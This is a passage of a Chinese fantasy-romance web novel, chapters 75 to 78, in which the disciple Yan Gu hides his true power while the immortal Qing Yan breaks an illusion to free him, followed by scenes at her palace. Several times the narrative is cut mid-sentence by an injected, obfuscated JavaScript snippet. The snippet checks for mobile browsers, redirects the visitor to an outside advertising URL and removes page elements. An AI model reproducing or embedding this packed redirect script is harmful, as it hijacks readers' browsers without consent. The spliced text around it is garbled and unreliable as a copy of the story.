“那怎么了,”青晏理直气壮,“养精蓄锐以待来日方是长久之计。” “是是是,”颜故乖巧受教,“那我们原路返回?” 青晏心满意足地端详着手里那块微微隆起一棵草形状的丝绸,告诉颜故只需避开那个莫名其妙会让人精神出问题的区域就好。颜故应了一声,稳稳地按照来时的路线返回,脚步轻巧地绕开了那段让他陷入深重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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颜故微弱的声音通过他的本魂传了出来:“我不知道……我本想和你一起出去的,可没想到只是往前迈了一步,就到了现在这个地方。” 他的声音有些疲惫:“这里……像是一个迷宫,我已经绕了很多圈,可就是找不到出口。迷宫的各个部分也在不停变化,墙壁的材质、通道的宽窄……甚至我之前特意留下的标记都会在返回时消失不见。” 青晏眉头紧蹙:“你还看见了什么?” “天的颜色也在不停变化,空中的味道也是一会儿一变,我感觉这里所有的东西都在不停地变动,且毫无规律可言。” 青晏的眉心皱得更紧了:“你的法力有受到影响吗?” 颜故的本魂动了动,像是在感知自己的状态,片刻后他摇了摇头:“一切正常。” 青晏这才略略放松了些,开始飞速在自己脑海中排除着各种可能性,又让颜故一一按照自己的猜想试过去。 半晌后,她猛地抬起头,目光如炬般盯着那道淡到几乎看不见的颜故本魂,斩钉截铁道:“找。找无论其他东西怎么变都不会随之变化的一串数,可能在很隐蔽的地方,也可能一直在你眼前,只是形状比较奇异,需要仔细辨认。” 颜故依言照做:“听仙子语气,是大概知道这到底是什么东西了?” “若你找到了那串数……”青晏声音干涩,“我们就有大麻烦了。” 75.顿悟 颜故的本魂安静了一瞬:“什么样的大麻烦?” “如果你找到了那串数,就说明这是一个非常简单,但又非常棘手的幻境,”青晏的呼吸急促起来,“要想从这个幻境出去,唯一的条件就是被困者的修为高于设立这个幻境的人。若是没有超过,这幻境就会一点点吸收你的修为,直至将你的修为全部耗尽,变成一个再普通不过的凡人,方能脱离。” “那串数,便代表着幻境设立者的修为吗?” 青晏艰难地点了点头。 以颜故如今的境况,就算加上他师父留给他的那些平时无法动用的保命法力,以及进入混沌裂谷前吞下的那些仙丹,他所有的修为加起来满打满算也不会超过一万年。可按照颜故之前的描述,能建立起如此灵动的幻境之人,会只有一万年的修为吗? 颜故的本魂开始走动起来。他的视线不断往各个方向扫视着,试图找出那串隐匿起来的数字。青晏则靠在那块巨石上,绞尽脑汁地想着其他解决办法。 忽然,颜故的本魂不动了。他僵硬地立在原地,直愣愣地望着他头顶上方那轮始终高悬、从未消失过的月亮。 纵使他再不愿意相信,可那月亮上方的阴影却仍然组成了一串不容拒绝的数字。 一万六千三百七十二。 颜故几乎要笑出声来。 他定定地看着那串数字,心中涌起一股难以言喻的荒谬感。 他不明白,为什么天道要和自己开这样的玩笑? 若是这数字再低一些,他之前对青晏所说的“师父在临终前将法力渡给了我”的那个理由便能顺理成章地再度派上用场,无需遮掩什么便能安然从此幻境中脱离;而若是这数字高到远远超出他的修为,那便也只能含恨认下,接受自己只能变成一个再也无法复仇的普通人的命运,或是需要再等上无尽漫长的岁月,去期盼那不知何时才能等来的第二次复仇机会。 可如今偏偏他有的选。 他死死盯着那片月亮上的暗影,仿佛听见它在意味深长地嘲弄着他:“你选啊,颜故,是要暴露自己的真实修为,从而不费吹灰之力地离开,还是就这么一点点被这幻境蚕食掉自己所有的法力,成为一个很有可能永远都再也等不到复仇机会的废物?” 颜故深深地吸了一口气,努力让自己冷静下来。 不要慌,不要慌。仙子不知道这串数字究竟是多少,她也不会事后非要进入这个幻境检查。自己只要编出一个合理的数目,便能做到毫无破绽地全身而退。 然而就在这时,他却再次听见了宛如天道降下来的审判之音:“颜故,你在看什么?是找到那串数了吗?” 颜故的脊背猛地一僵,努力让自己的声音听起来没有波澜:“还没有。” “这可不行,”青晏有些心焦,“在这样的幻境里待的时间越久,你的修为就会被消耗得越多。”她伸手搭上颜故本魂的双眼,“我来试试看,能不能和你一起找。” 颜故还没来得及开口,便感觉到一股微凉的灵力顺着他的本魂蔓延开来。随着这道灵力的漫入,青晏那本该令人心安的声音也更加清晰地在他耳边响起:“我借你的眼睛好好看一看,说不定那串数被你漏过去了。” 他的喉咙像是被什么东西哽住了:“仙子……如今能看见我所看见的东西?” “是啊,”青晏的语气带着一丝无奈,“所以别再盯着自己的手看了,那串数肯定不会在你手上。” 颜故心头猛地一缩,整个人都在微微颤抖。 他没得选了。 片刻后,他的瞳孔逐渐放大,心间忽然不可抑制地涌上一股闷痛。颜故用力眨了眨眼,不敢置信地将刚才在自己脑海中一闪而过的那个念头重新理了一遍,随即绝望无力地垂下了手。 是,如今确实是只有散去修为这一条路了。然而让他惊恐的不是这个结局,而是他之所以想这么做的理由。 不是因为倘若暴露了真实修为,自己反而得不到接近仇人的机会,而是,而是…… 而是他竟然害怕再次看到青晏在北海时投向他的,那个冰冷而又疏离,仿佛利刃一般插进他心里的眼神。 事到如今,他再也不能自欺欺人,说自己对青晏的情感只是在意而已;说自己对她百般顺从,千般讨好只是为了和她拉近关系;说自己为她出生入死也甘之如饴,只是为了打动她,增加可以接近她那个行踪成谜的师父的机会,从而顺利地,杀掉这个他已经念了一万年的仇人。 他再也不能这样骗自己了。 心口涌动着的强烈情绪,除了喜欢,除了爱,已经再也找不到第二种解释。 这个认知让他感到无比的绝望。 可是颜故,可是颜故!!! 他内心另外一个自己在大声咆哮。 你那样费尽周折地隐瞒身份来到她的身旁,到底所为何事?你付出的所有、你存在的意义,难道不都是为了给自己最在意的那个人讨回血债吗?那些你无数次梦到过,幻想过的手刃仇人的畅快淋漓,难道就要因为你自己的软弱不堪而通通葬送? 你不是已经做好万全准备了吗?你不是早就立下坚定不移的决心,任何事、任何人,都绝不能干扰那个你志在必得、不容有失的结果吗? 可如今你又在做什么,想什么?要是日后再遭遇这般情形,难道你要为了自己那点虚无缥缈,没有任何未来可言的所谓爱情,舍弃已经深深刻入自己骨髓的复仇执念吗? 他僵直着身体,双眼无神地随着青晏的指令向四周一点点扫视,却始终不敢抬起头来,让青晏注意到哪怕一丝照得他浑身发冷的月光。 再给我一点时间吧,让我再挣扎一会儿,让我再想想清楚…… 可天道仍旧没有给他哪怕一丝一毫的眷顾。青晏沉默了片刻,像是在思索着什么,随即开口道:“抬头看看天。既然如此仔细地搜寻地面都毫无所获,说不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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言毕,他便真的收回了自己的法力,安静地坐在原地,眼睛一眨不眨地望着青晏,像是在等待着她的下一个指令。 青晏暗自松了一口气,可心跳依旧如擂鼓般急促。 她呆滞了很久,甚至违背自己本能地想要找人求助,可很快她便茫然地想起来,上天入地,五湖四海,再找不到第二个人,比她自己还要了解幻境。 天界所有关于幻境的典籍她都一本不落地读过,甚至其中几本还是她亲自编纂的。事到如今,这世间除了自己,再无人能将颜故从这幻境里救出。 青晏手心渐渐沁出细密的汗珠。颜故见她神色痛苦,身体下意识地就朝她的方向倾去。青晏察觉到他的本魂正逐渐向自己靠了过来,赶紧松开一直紧紧攥住他手腕的手,身形迅速向后一仰。 她在心中暗暗埋怨着自己。 真是关心则乱!忘了你自己刚才做了什么样的决定了吗?要保持距离,保持距离! 76.死寂 可此时她脑中却忽然闪过一个念头。 青晏眼前一亮,迅速对颜故道:“从进入幻境到现在,除了你自己刚才散去的那一点法力之外,你还感觉到自己的修为有受到任何影响吗?” 颜故苦涩一笑:“我没有什么太大的感觉,兴许是这幻境吸取修为的速度比较慢吧。” 当然不会有什么影响。 这幻境的特性,便是只有在被困者的修为低于设立者时才会吸取他的法力。也正是因为如此,他才打算主动散去自己的修为。 否则时间久了,青晏必然会发现他的修为没有受到任何影响,届时自己根本没有办法再像上次在北海时那样,拿出一个经过精心筹备、足以让人信服的借口,去解释为何他的真实修为竟然会比一万六千三百七十二年还要高。 可青晏眼中却燃起希望:“那说不定是和方才一样,是宸景留给你的天帝庇佑起了作用!就像刚才它为你挡下了混沌禁灵的攻击那样,此刻它也挡住了这幻境对你的大部分影响!” 颜故按捺下自己心头泛起的不悦,淡淡地回应道:“可能吧。” 沉浸在这份突如其来的欢喜中的青晏并没有注意到他的情绪。她将玄元镜的镜柄在手心转了又转,喃喃自语道:“既然短时间内你的修为不会受到影响,那么此法或许可以一试……” “什么办法?” 青晏的语速有些快:“这种幻境本身极为复杂,想要破解并非易事,再加上混沌裂谷的特殊性,如今想要找到幻境的入口简直难上加难。但好在这幻境外面有一缕和你本人时刻相连的本魂,我可以通过这缕本魂,造一个我自己的幻境将此幻境直接覆盖。这样,困住你的那个幻境就会被逐渐侵蚀、瓦解,而你则变成被困在我的幻境里。到那时,你便可以随时脱离了!” 颜故再次抬头,望向月亮上那串冰冷的数字,声音里带着一丝不易察觉的颤抖:“可要是想直接覆盖掉这个幻境,应该会很困难吧?仙子的法力,又要被耗去多少呢?” 青晏并没有立刻回答他这个问题。 她想了想,转而说道:“需要的时间是会比较久,所以我刚才一直在担心,还没等我这边施完法术,你那边修为就被消耗殆尽了。不过现在看来,既然你的修为短时间内不会有问题,那么此方法就值得一试。” 青晏指尖流转出强烈银色光芒。她盯着颜故,目光中满是警告:“我这法术一旦开始就不能停下,你不要想些什么有的没的,知道吗?” “知道了,仙子。”颜故声音嘶哑。 他感觉自己的心像是被什么东西轻轻攥住了,那股带着温暖的疼痛正一点点蔓延开来,反复提醒着他的卑劣与不堪。 明明不费吹灰之力就可以出去,明明不需要让她在刚从混沌裂谷里逃脱后就又白白耗费掉这么多法力,可他却什么都不能说,什么都不能做,只能站在原地,看着她为他拼尽全力,看着她一点点掏空自己。 他望着眉头紧蹙,双手不断结着复杂法印的青晏,心中那股难以言喻的酸楚越来越重,压得他几乎快要喘不过气,就连身子也开始微微颤抖。 如果未来有一天,你知道此时的你根本不必为我付出这一切,你会怎么想呢?会和现在的我一样,疯狂唾弃我吗? 颜故感觉自己痛苦得快要死掉了,可那股酸涩的痛楚,却莫名将他拉回到那个他刚从典籍中发现冰澜草功效的夜晚。 彼时的他曾望着夜空,猜测若某天是他面临和初三一样的境地,青晏又会如何对他? 现在他知道这个问题的答案了。 她也会像挽救初三这样,竭尽所能,甚至不惜以伤害自身为代价,去挽救他的命运。 但是他不配。 青晏周身光芒越来越盛,亮到就算隔着本魂的屏障都刺得颜故几乎睁不开眼。而随着法力的流转,青晏的脸色也越来越苍白,额角汗珠顺着脸颊滑落,静静滴在她起伏不定的胸口上。 忽地她双手猛然一推,刹那间一片银色光幕从天而降,以不可阻挡之势向幻境中的一切席卷而去。光幕恣意波动着,刺眼光芒将幻境里所有东西都不由分说地逐渐包裹起来。那些原本看起来极为真实的景象随着光幕的不断侵蚀开始扭曲破碎,紧接着便被它彻底吞噬。 青晏清晰地感觉到自己的法力正在以海水倒灌般的速度飞快流逝着,然而她却咬紧牙关,双手法印不断变换,以微微颤抖的指尖竭力控制着幻境的吞噬速度。 她生怕若是侵蚀速度太快,仍在幻境中的颜故也有可能会被伤及元神,可这本就是一个十分霸道而又消耗极大的法术,她刚一稍稍分了心思,那股压在她四肢百骸的酸痛感就掀起了滔天骇浪,激得她快要喘不过气,就连身子都微微弓了起来。 “没关系,仙子,”颜故急切道,“不用管我,正常施展即可!” 他焦灼地重复了几遍,可青晏却置若罔闻,仍旧专注地操控着那片银色光幕,缓缓覆盖着幻境里的一切。 颜故目光所及之处所有东西都在不断模糊着、塌陷着,整个幻境都正在被青晏的法术逐渐吞噬,眼见着他便可以脱离此处。 可他却不管不顾地再度展开双臂,在自己肆意向外流淌着的法力中对青晏高声道:“仙子若执意如此,我即刻便散去所有法力!” 颜故急促地喘息着,一双眼眨也不眨地锁住青晏,眸子里满是绝望的祈求和期盼。 青晏气极,恨不得冲进幻境给他一巴掌:“不是说叫你不许想这些有的没的吗!” “仙子,现在。”颜故哑着嗓子,周身法力散得更快了。 怎么就摊上这么个祖宗! 青晏心中暗骂,却也只得依言照做,银色光幕如同铡刀般将幻境里的一切飞速铰碎。颜故感受着越来越沉重的压迫感,眉间唇角却逐渐漫上笑意。 忽然,他没头没脑地问了一句:“仙子,我对你很重要,是吗?” “都!说了!不许!想!这些!有的!没的!”青晏怒喝。 银色光幕擦着颜故的身侧飞过,整个幻境都在隆隆倒塌。那串写着颜故此生难忘的数字的月亮从天穹之上直直坠落,狠狠砸在颜故眼前,紧接着又被汹涌而来的银色盛光瞬间吞没。 一扇小门从那耀眼的盛光中渐渐浮出,青晏微颤的声音从门后传出:“走!” 颜故伸手触上那扇门的瞬间,青晏双手猛地一合,颜故只觉自己眼前仿佛炸开无数光点,闪得他视线一片模糊。待他再度能看清时,映入眼帘的,便是极夜荒原上那片永远灰蒙蒙的天。 他回来了。 可还没等他来得及收回自己的本魂,便被一声轻微的闷响掳走了全部心神。颜故猛地转身,毫无任何准备地,见到了令他五雷轰顶,浑身血液逆流的恐怖景象。 那个就连对抗幽煞珠时都尚能勉励维持着的青晏,如今却靠在那块巨石上,紧闭着双眼,慢慢地向下滑去。 颜故神魂欲裂,如离弦之箭般跪倒至巨石边,将青晏的身子轻轻扶靠在自己怀里。他的指尖不住颤抖着,缓缓向她已经毫无血色的脸庞伸去,可不知为何又在相距不过毫厘之距时骤然收回,就连整个身体都僵硬着,不敢做出任何贴近青晏的弧度。 “对不起……”他的声音哽咽得支离破碎,一遍又一遍地小声重复着,“对不起……” 颜故掌心悬起寒雾,澎湃法力在他体内急速运转,很快便要输入到青晏的灵脉之中。然而就在此时,一阵窸窸窣窣的,像是无数条冰冷的蛇在草丛间游走的声音在他背后响起。 还没等他对这令人毛骨悚然的气息做出任何反应,数道刺耳的尖笑便又划过空旷的极夜荒原,炸裂在他的耳边。 “真是得来全不费工夫,”一道充斥着浓烈恶意的黏腻嗓音在颜故身后不远处响起,“刚一到这荒原上就看见两个小神仙。” “是啊老大,”许多声音在颜故四周此起彼伏地谄媚应和着,“恭喜老大,即将突破境界!” 那道黏腻嗓音的主人似是兴奋到了极点:“本想着多吃几个妖兽来突破我的万年修为大关,没想到竟遇上了更好的。” “哼哼哼哼……”响亮的咂吧声回荡在寂静的荒原上:“吃掉这两个落单的小神仙,我的修为肯定能大有长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15039079|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进……” “可是,可是老大,”一道毛茸茸的身影从颜故身侧掠过,“他们两个是什么水平啊?咱们能打得过吗?” “蠢货!”一声清脆的呵斥陡然响起,“老大给咱们讲过的!厉害的神仙周围都会环绕着那种一看就不好惹的仙气,那仙气可明显了!可你看看这两个小神仙,他们身边啥都没有,肯定刚升仙不久。而且其中一个还晕过去了,这不明摆着是老天眷顾咱们老大,专门把这俩送过来给老大提升修为用的嘛!” “再说了,”发出呵斥的那个小妖声音里透着一股洋洋得意,“咱们加起来可有一百多号呢,难道还怕打不过这两个普普通通的小神仙?” “哼哼,还是你小子机灵,”那黏腻的声音和颜故靠得越来越近,“不枉我带你们出来见世面。” “小神仙,有什么遗言吗?”那道黏腻声音的主人终于站到了颜故面前。 他弯下腰,投下的阴影将跪坐在地的颜故整个人都笼罩其中,那双充斥着贪婪和戏谑的猩红双眼也死死地盯住颜故。大妖对着眼前的猎物满意地咧开嘴,露出自己往下滴着涎液的獠牙。 一滴,两滴,三滴…… 轻微的滴答声像是死亡倒计时般落在地上,可颜故却始终都没有抬头看过一眼。 他仿佛听不见,也看不见周围的一切,只是专注地将自己的法力缓缓输入青晏灵脉内,目不转睛地,用他平时根本不敢在她面前露出的眼神贪婪地看着她。 那目光里糅杂了太多太多的情绪,心疼、愧疚、担忧、悔恨、爱恋与自我唾弃扭打成一团,最后混合成蕴含着无尽温柔的悲伤视线,灼灼地落在青晏脸上。 那大妖受了冷落顿时恼羞成怒,喉咙里发出一声气急败坏的嘶吼。刹那间,上百个身影像是得了什么命令般从四面八方如潮水般合围而来,向颜故迅速逼近。 浓雾般的妖气向颜故飞速压了过来,可他却像是对此毫无任何感知,只是安静地、耐心地继续着自己的动作。 “既然你不说话,那想来是没有遗言了。”大妖伸出长长的舌头,贪婪地舔了舔自己那闪着寒光的獠牙,嘴角的涎液随着舌头的动作又流下几滴,“还是第一次看见死得如此安安静静的猎物,有趣。” 颜故终于出声:“仙子?” 他轻柔地唤着青晏,仔细观察着她的反应。见她仍是那副紧闭双眼,对外界并无感知的样子,颜故这才垂下自己纤长的睫毛,将左手缓缓伸至耳后。 那道只有他自己才能感受到的封印再度被自己的主人解开,凛冽狂暴的冷意从他体内汹涌而出,瞬间席卷了整个极夜荒原。那大妖的獠牙尚未来得及合拢,便被这股由脚底直窜而上的寒意直接凝住,化成了一尊惊恐而又狰狞的冰雕。 颜故双手轻柔地托着青晏,慢慢站起身来。猎猎寒风从他身旁呼啸而过,地上厚厚的霜雪被这狂风刮起,将他漆黑如墨的发丝逐渐染上酷寒彻骨的冷白。 “是,是那种一看就不好惹的仙气!”方才发出呵斥的那个小妖声音里满是惊恐。然而还未等他来得及挪动脚步,那股无情的寒意便从他身旁擦过,彻底将他所有意识封存。 无尽冰霜恣意在荒原上狂舞,将那群原本夺路而逃的小妖尽数冻结在原地。颜故微微侧头看了看那一尊尊形态各异的冰雕,瞳孔中平静得没有一丝情绪。 像一口已经干涸了万年的枯井。 他淡漠地转回头,目不斜视地向前行去。 一根锋利的冰箭在他身后缓缓凝聚而成,如同闪电般疾射而出。这缕寒光带着划过空气的刺耳尖啸,瞬间洞穿了那大妖的身躯,紧接着又以不可思议的速度从那些小妖的身上逐个贯穿而过。 咔嚓——咔嚓—— 冰雕碎裂的声音不断回荡,无数冰屑随着那些早已被冻成冰雕的身体的炸裂扑簌簌落下,在如今已变成白茫茫一片的极夜荒原里四散飞溅,美得令人窒息。 却也透着无尽的死寂。 而颜故却只是低下头,轻轻将青晏往自己怀中拢了拢,随即一步一步地,向着前方那条他知道注定会到达尽头的路走去。 77.歉疚 青晏晃了晃脑袋,从一片寒气中醒过神来。 她动了动有些僵硬的身子,这才发觉自己正倚靠在一棵树上。头顶上方灰蒙蒙的天让她瞬间意识到自己仍身处极夜荒原,可周围全然不同的景色又提醒着她,此处已不是混沌裂谷附近。 “仙子,你感觉如何?”颜故饱含着担忧的声音在她耳畔响起。 青晏试着转了转肩膀,立刻蔓延开来的酸痛感让她微微皱起了眉:“还可以,就是不知为何,感觉身上有点发冷。” “这里确实要比混沌裂谷附近冷上许多,”颜故目光诚挚,“况且仙子刚才法力消耗过大,感知可能会比之前更加敏锐,所以感到的寒意便也更强烈些。” 青晏点了点头,目光扫视着四周:“这是我们来时的那条路?” “是,仙子方才晕着,我别无他法,只能暂时按原路返回。”颜故眼睛一眨不眨地盯着她,眸子里像是缭绕着一层薄薄的水雾,“我实在……实在对不住你……” 青晏赶紧抬手打断他的话:“没有的事。你若不是为了帮我,也不会出现在混沌裂谷里。你本就是我的座下仙使,于情于理,我都应该竭尽全力护你周全。况且此次也没有伤及根本,只要多休息些时日,这些法力总会慢慢恢复如初的。” 颜故垂下眼,低低笑了一声。 不过他很快便强行压下自己唇角的那抹苦涩,温声道:“等下还是通过仙子的那副画回天界吗?” “那个不费事,就算是现在也走得成。”青晏手指微动,可就在指尖法力即将流转而出之时,她却像是忽地想到什么一样,手上的动作一顿。 她转过头,微微眯起眼:“既然我刚才晕过去了,那我是怎么来到这的?” 颜故一脸无辜:“自然是用悬空法术将仙子移至此处。” 青晏盯着他看了片刻,见他仍是那副神色坦然的模样,这才略略松了口气,将那副巨型山水画重新召出,带着颜故踏入其中。 回到天界时已是深夜,玄镜宫内安静得没有一丝声音。颜故跟在脚步有些虚浮的青晏身后,目光始终落在她的背影上,眸中情绪复杂难辨。 “明日仙子打算何时为初三取出幽煞珠?”他轻声问道,声音在一片寂静中显得格外清晰。 青晏揉了揉眉心,声音里带着浓浓的倦意:“虽然说我很想先睡个七天七夜再说,但心里总归是惦记着这码事,估计最多也就睡到下午。所以……最早是下午?但你不用提前做准备,回去好好歇一歇,到时我会派人去叫你。” 颜故轻轻笑了笑:“我没有仙子这样大的消耗,应是睡不到下午的。” “那随你吧,”青晏打了个哈欠,“我困死了,先不管你了。” 言毕她随意摆了摆手,强撑着已经开始打架的眼皮,朝着她千思万想的寝殿去了。 颜故朝着她的背影,恭敬而又迟缓地微微欠身行了一礼。待他再抬起头时,那股浓郁到快要从他瞳孔中滴出来的苦痛已然再也掩饰不住。 真的,别管我了,仙子,以后都别管我。 他沉重地转过身,步履蹒跚着,一点点朝初琅殿的方向缓缓行去。 ---- 第二日下午。 明煦坐在殿前那把竹制的摇椅上晃来晃去,百无聊赖地等着青晏起床。从前做猫时总爱在她膝上把自己团成个毛茸茸团子的初三,此时正躺在另外一张摇椅上,和明煦以同样的幅度晃悠着。 他将头枕在自己的胳膊上,两条大长腿也交叠在一起,是一个看起来就极为舒服惬意的姿势。然而他那双碧绿的眼睛却总是时不时地就偷瞄一眼明煦的膝头,眼神中流露出一丝渴望。 明煦第八次回头看了一眼仍然没有任何动静的屋子,小声嘟哝起来:“这人,怎么还不醒,再有一个时辰都能吃晚饭了!” 初三耳朵动了动:“这对她来说不是很正常么,我记得最高记录是连睡了一个月呢。” “啊,我记得那一个月。”明煦饶有兴致道,“说是给天界造了个幻境累着了,可给咱们英明神武的天帝担心坏了,隔三岔五就跑过来看呢。” 她满意地咂咂嘴,面上神情多少沾了点得意:“要不说我很幸运呢,每次他来我都能看见,哎呀这个粮吃得爽啊。” 初三疑惑地转过头:“什么粮?” “你不懂,”明煦露出一丝意味深长的笑容,“精神食粮。” 初三不服气地梗起脖子:“我怎么不懂!听你念叨了这么久,我就是再傻也明白了!” “哦?”明煦立即向他的摇椅那边歪过身子,眼睛里闪动着热切的光芒,“那你说说看,他们俩是不是很配?” 初三想了想,谨慎道:“配不配的另说……但你不感觉,青晏身上好像就没有那种……嗯……”刚化成人形没多久,文化水平极为有限的小猫努力在脑海中搜刮着词汇,“就那种,黏黏糊糊的气质?” 明煦严肃地点头认同:“确实。真的很难想象她哪天倾心于某人时会是什么模样……不过更因为如此,那肯定得是一个英明神武、相貌堂堂、品德过人、法力无边的人,才有可能让她动心。” 她猛地一拍巴掌,言辞凿凿道:“那这人除了咱们天帝还能有谁?” 初三撇撇嘴,勉强道:“虽然说他……差不多算符合你说的这些条条框框吧,但青晏到底喜欢什么样的可不好说。她这个人那么随心所欲,当初在人界就是以一个莫名其妙的理由把我带回来的,说什么,哦,我会偷鱼肯定聪明,长得又漂亮,养起来肯定很省心。” “你这么一说……”明煦缓缓摩挲着自己的下巴,“她好像确实干什么事都喜欢用省心的方式……” “可我现在不省心了。”初三低下头,望着自己不再毛茸茸,而是修长细腻的手指尖,“她去了那么久才回来,听如樱说还用了不少府中的仙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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明煦眉头紧锁地望着天,仿佛正在努力消化着这个突如其来的震天秘闻。不过很快她便释然地摆了摆手,轻松道:“嗨,其实想想也很正常,我们青晏就是这么魅力无边,他们动心简直太应该了。要不这么多年下来各界的追求者就没断过呢。” “说到这儿,”她用拳头砸了一下掌心,“这些人里最烦人的那个思盛,就病得不轻那个,也不知道他从哪儿得来的消息,特意赶在我们下界历练那天在天界大门口堵着,死乞白赖地非要和青晏一起行动。要不是我们及时把他打发走了,这次游历可真就被缠上了,到时候说不清会出多少幺蛾子。” 她絮絮叨叨了半天,却始终没从初三那听到半点回应。明煦心下一紧,隐隐觉得不对劲,连忙转过头去。 只见初三不知何时已经蜷缩起身子,一声不吭地紧咬着牙,额前碎发被沁出的冷汗浸湿,贴在他逐渐开始苍白的皮肤上。 明煦连忙起身凑近他,声音里带着几分慌乱:“哎呀,是不是又发作了?” 78.脱离 初三没有回答,只是微微点了点头。明煦猛地站起来就要往屋里冲,可刚一起身就被初三紧紧拽住了衣角。 “一会儿就好,不用去叫她……”初三声音低哑,呼吸也变得急促起来,连说话都显得有些吃力。 明煦急得直跺脚:“之前刚开始疼那阵儿,你说怕让青晏分心不让我告诉她,现在她都回来了为什么还不说啊!用那个冰澜草给你治好了不就不疼了吗!” “不差这一时半会儿的,挺挺就过去了……”初三咬紧牙关,“等你叫她起来,这疼也就过去了,还平白让她担心一回,不值当。” 明煦没办法,只得长叹一声,像此前每次初三体内的幽煞珠发作时那样,把双手轻轻贴在他的背上。她掌心那泛着红光的本源火焰正随着她的动作温温地烘在初三周身,虽治标不治本,但也多少可以减轻一些那颗幽煞珠到处流窜所带来的疼痛。 许是那冰澜草确实对幽煞珠有着极强的克制,自打初三接触到冰澜草露水的第二日傍晚起,他体内的幽煞珠便开始躁动不安了。 它虽没有破体而出的迹象,只是时不时地在初三体内一点点挪动位置,像是在寻找一个更适宜,又或者说是更不容易触及到冰澜草气息的角落。 这种情形自初三将青晏幻化出的冰澜草吃进体内后变得愈发恶劣起来,幽煞珠在他体内胡乱挪动的次数越来越多,甚至连窜动的力度都变得越来越大,每次都叫初三冷汗直冒,须得蜷起身子方能稍作缓解。 这股疼痛持续时间虽不长,但发作的间隔却越来越短,从原来的三五天一次逐渐变为每天都会发作,如今甚至已经到了每天都要发作几次的程度。若不是青晏及时归返,明煦真觉得自己可能再也忍不下去,说什么也要把这情况告诉青晏。 即使她也明白就算将此事全盘托出,除了让青晏徒增焦急与担忧外根本没有任何实际作用,可她那是控制不住自己那颗一旦慌乱到不知所措,就想抓住青晏猛猛倾诉一通的心。 真的是什么都不想瞒她…… 见初三脸色稍缓,蜷紧的身子也逐渐放松下来,知道初三此次幽煞珠发作已经基本渡过了的明煦松了口气,心思忽然就转到“瞒”这个字上。 她若有所思地摸了摸下巴,忽然对初三道:“你说,青晏有没有可能已经知道了他们两个的心思?” 初三先是伸手捋了两把自己的胸口,像是要把残留在胸口的那股闷气捋顺似的,接着才慢悠悠地回道:“很难说,虽然唐禾表现得已经很明显了,但万一她也像你一样,完全把他们俩当后辈,当小孩儿,从来就没往他们也是男人的方向想过,那说不定还真就不知道呢。” “差那么多岁数呢,不是小孩儿是什么?”明煦随口道。 初三一听这话眼睛立即瞪得溜圆:“差那么多岁数怎么了,我还刚化形没多久呢,难道我在你眼里也是小孩儿吗?!” 明煦犹豫了一瞬。 你当然不是,你可比小孩儿好多了,你是香香软软的小猫咪。 不过对着刚刚化形成人不久的小猫咪说出这样的话实在是太伤小猫咪心了,所以明煦赶紧哄道:“没有没有,你不是小孩儿。” 初三这才傲然地昂了昂头,得意道:“我就知道。不过你刚才为什么要问青晏有没有可能知道他们的心思?难道你还打算告诉她不成?” “当然不是!”明煦立刻像被踩了尾巴一样急忙捂住他的嘴,“我警告你,你也不许说啊!” “什么不许说?”青晏那幽幽的声音冷不丁地从她背后冒了出来。 明煦浑身一激灵,飞速道:“没有,你听错了!” 青晏不紧不慢地从殿内走出,站在明煦面前斜眼看她:“我是刚醒没错,但这不代表我耳朵或者是脑子也还迷糊着。” 明煦心一横:“哎呀,其实就是我不想让你知道我最近在天帝面前当值挨说了的事嘛,怕你心疼我呢。” 她故意把语气拖得肉麻兮兮的,根本吃不了这一套的青晏果然迅速将此事揭过:“他这个人一向比较严格,天界的守卫布局调整也是大事,可能他一时间脾气急了些,你别往心里去。” 明煦在初三无声的“这也行”的口型里心满意足地点头:“嗯嗯,不生气。你都带着冰澜草回来了,我还记着这些鸡毛蒜皮做什么,我现在可是超级无敌高兴。怎么说,要现在就开始吗?” 青晏看向初三,见他坚定地点了点头表示自己准备好了,遂开口道:“好,等我叫下颜故。毕竟若是没有他出生入死地帮忙,这冰澜草我极有可能也拿不到手。” “所以说,”她微微俯身,对依旧瘫在摇椅上的初三道,“某些小猫咪以后可要对人家态度好点,别再背地里叫人家笑脸狐狸。” “知道了。”初三声音闷闷的,“那叫他救命恩人。” 青晏顿了顿:“……倒也不必。” 她直起身来,和颜故传念表示等他过来一起见证幽煞珠从初三体内取出的过程,随即也给自己幻出一张铺满了软乎乎垫子的摇椅,深深地躺了进去。 暖烘烘的阳光洒在她身上,像是一张无比柔和的薄毯。青晏刚在摇椅上惬意地晃悠了几下,却忽然感觉眼前光线一闪。她抬眸望去,颜故的身影已然出现在他们面前。 青晏微微一怔,从摇椅上坐起来眯着眼睛看他,讶然道:“怎么来得这样快?我还以为你会在初琅殿歇着。” “我昨日的估算没错,今天确实没能睡到下午。”颜故露出一丝微笑,“所以方才在后苑转了转,刚好离这里很近。” 